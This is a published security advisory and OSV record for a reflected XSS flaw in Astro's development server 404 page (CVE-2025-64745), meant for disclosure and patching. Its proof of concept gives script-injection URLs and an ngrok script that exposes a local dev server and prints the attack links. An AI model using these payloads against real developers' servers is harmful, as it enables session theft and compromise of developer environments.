GHSA-W2VJ-39QV-7VH7
Vulnerability from github – Published: 2025-11-13 22:38 – Updated: 2025-11-27 08:12Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
Details
Vulnerability Location
https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149
Root Cause
The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.
Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.
Attack Vector
When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.
PoC
Local Testing (localhost)
Basic vulnerability verification in local development environment
Show details `astro.config.mjs`:import { defineConfig } from 'astro/config';
export default defineConfig({
trailingSlash: 'never', // or 'always'
server: {
port: 3000,
host: true
}
});
`package.json`:
{
"name": "astro-xss-poc-victim",
"version": "0.1.0",
"scripts": {
"dev": "astro dev"
},
"dependencies": {
"astro": "5.15.5"
}
}
Start the development server:
npm install
npm run dev
Access the following malicious URL depending on your configuration:
**For `trailingSlash: 'never'`** (requires trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--/
**For `trailingSlash: 'always'`** (no trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--
When accessing the malicious URL:
1. The development server returns a 404 page due to trailing slash mismatch
2. The JavaScript payload (`alert(document.domain)`) executes in the browser
3. An alert dialog appears, demonstrating arbitrary code execution
Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
Show details Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken `) Setup and Execution:#!/bin/bash
set -e
mkdir -p logs
npm i
npm run dev > ./logs/victim.log 2>&1 &
ngrok http 3000 > ./logs/ngrok.log 2>&1 &
sleep 3
NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait
When a remote user accesses either of the generated attack URLs:
1. The request is tunneled through ngrok to the local development server
2. The development server returns a 404 page due to trailing slash mismatch
3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser
Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').
Impact
This only affects the development server. Risk depends on how and where the dev server is exposed.
Security impact
- Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
- Session hijacking: Active developer sessions can be stolen if services are open in the browser.
- Local resource access: JS may probe
localhostendpoints or dev tools depending on browser policies. - Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.
Attack scenarios
- Social engineering: Malicious link sent to a developer triggers the XSS when opened.
- Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
- Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "astro"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.15.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64745"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T22:38:30Z",
"nvd_published_at": "2025-11-13T21:15:54Z",
"severity": "LOW"
},
"details": "## Summary\n\nA Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro\u0027s development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim\u0027s browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.\n\n## Details\n\n### Vulnerability Location\n\nhttps://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149\n\n### Root Cause\n\nThe vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to \"redirect trailing slashes on on-demand rendered pages.\" The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.\n\n**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.\n\n### Attack Vector\n\nWhen a developer has configured `trailingSlash` to `\u0027always\u0027` or `\u0027never\u0027` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.\n\n## PoC\n\n### Local Testing (localhost)\n\nBasic vulnerability verification in local development environment\n\n\u003cdetails\u003e\n\u003csummary\u003eShow details\u003c/summary\u003e\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from \u0027astro/config\u0027;\n\nexport default defineConfig({\n trailingSlash: \u0027never\u0027, // or \u0027always\u0027\n server: {\n port: 3000,\n host: true\n }\n});\n```\n\n`package.json`:\n```json\n{\n \"name\": \"astro-xss-poc-victim\",\n \"version\": \"0.1.0\",\n \"scripts\": {\n \"dev\": \"astro dev\"\n },\n \"dependencies\": {\n \"astro\": \"5.15.5\"\n }\n}\n```\n\nStart the development server:\n```bash\nnpm install\nnpm run dev\n```\n\nAccess the following malicious URL depending on your configuration:\n\n**For `trailingSlash: \u0027never\u0027`** (requires trailing slash):\n```\nhttp://localhost:3000/\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--/\n```\n\n**For `trailingSlash: \u0027always\u0027`** (no trailing slash):\n```\nhttp://localhost:3000/\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--\n```\n\nWhen accessing the malicious URL:\n1. The development server returns a 404 page due to trailing slash mismatch\n2. The JavaScript payload (`alert(document.domain)`) executes in the browser\n3. An alert dialog appears, demonstrating arbitrary code execution\n\n\u003c/details\u003e\n\n### Remote Testing (ngrok)\n\nReproduce realistic attack scenario via external malicious link\n\n\u003cdetails\u003e\n\u003csummary\u003eShow details\u003c/summary\u003e\n\nPrerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken \u003ckey\u003e`)\n\nSetup and Execution:\n```bash\n#!/bin/bash\nset -e\n\nmkdir -p logs\n\nnpm i\nnpm run dev \u003e ./logs/victim.log 2\u003e\u00261 \u0026\n\nngrok http 3000 \u003e ./logs/ngrok.log 2\u003e\u00261 \u0026\n\nsleep 3\n\nNGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o \u0027\"public_url\":\"https://[^\"]*\u0027 | head -1 | cut -d\u0027\"\u0027 -f4)\necho \"\"\necho \"=== Attack URLs ===\"\necho \"\"\necho \"For trailingSlash: \u0027never\u0027 (requires trailing slash):\"\necho \"${NGROK_URL}/\\\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--/\"\necho \"\"\necho \"For trailingSlash: \u0027always\u0027 (no trailing slash):\"\necho \"${NGROK_URL}/\\\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--\"\necho \"\"\nwait\n```\n\nWhen a remote user accesses either of the generated attack URLs:\n1. The request is tunneled through ngrok to the local development server\n2. The development server returns a 404 page due to trailing slash mismatch\n3. The JavaScript payload (`alert(document.domain)`) executes in the user\u0027s browser\n\nBoth URL patterns work depending on your `trailingSlash` configuration (\u0027never\u0027 or \u0027always\u0027).\n\n\u003c/details\u003e\n\n## Impact\n\nThis only affects the **development server**. Risk depends on how and where the dev server is exposed.\n\n### Security impact\n\n* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer\u0027s browser.\n* **Session hijacking**: Active developer sessions can be stolen if services are open in the browser.\n* **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies.\n* **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.\n\n### Attack scenarios\n\n* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened.\n* **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs.\n* **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.",
"id": "GHSA-w2vj-39qv-7vh7",
"modified": "2025-11-27T08:12:32Z",
"published": "2025-11-13T22:38:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64745"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/pull/12994"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Astro development server error page is vulnerable to reflected Cross-site Scripting"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.